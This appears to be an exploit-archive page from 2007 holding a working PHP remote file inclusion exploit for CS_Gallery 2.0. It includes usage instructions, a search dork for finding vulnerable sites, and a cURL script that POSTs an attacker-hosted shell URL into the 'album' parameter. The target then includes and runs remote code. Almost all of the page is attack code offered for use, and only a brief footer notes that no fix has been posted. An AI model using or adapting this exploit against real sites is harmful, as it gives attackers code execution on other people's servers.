CS-Gallery 2.0 (index.php album) Remote File Include Exploit
2007-02-24 00:00:00<?php
//File Inclusion Exploit for CS_Gallery <= 2.0
//Found and Exploit Coded by burncycle - burncycle[(at)]hotmail[(dot)]de
//|
//Vendor: http://www.cschneider.de/
//Dork: . www.cschneider.info
//|
//Bug in "index.php":
//..
//$codefile=$_POST['album'].'/code.php';
//include $codefile;
//..
//|
//Usage: php exploit.php [pathtoscript] [pathtoshell]
//Example: php exploit.php http://pathtoscript.com/cs_gallery/(index.php?todo=securealbum) http://pathtoshell.com/(code.php)
//|
//Needs the cURL extension of PHP
//Works regardless of PHP settings
//Nur ausnahme Fehler anzeigen
error_reporting(1);
echo "Usage: php ".$_SERVER["argv"][0]." [pathtoscript] [pathtoshell]\r\n\r\n";
echo "Example: php ".$_SERVER["argv"][0]." http://pathtoscript.com/cs_gallery/(index.php?todo=securealbum) http://pathtoshell.com/(code.php)\r\n\r\n";
//Schauen ob alles angegeben wurde
if(!empty($_SERVER["argv"][1]) && !empty($_SERVER["argv"][2]))
{
$pathtoscript = $_SERVER["argv"][1];
$pathtoshell = $_SERVER["argv"][2];
//erzeuge ein neues cURL Handle
$ch = curl_init();
//setzte die URL und andere Optionen
curl_setopt($ch, CURLOPT_URL, $pathtoscript."index.php?todo=securealbum");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "album=".$pathtoshell);
//f.hre die Aktion aus
curl_exec($ch);
//schlie.e das Handle und gebe Systemresourcen frei
curl_close($ch);
}
?>
#
Fixes
No fixesPer poter inviare un fix è necessario essere utenti registrati.

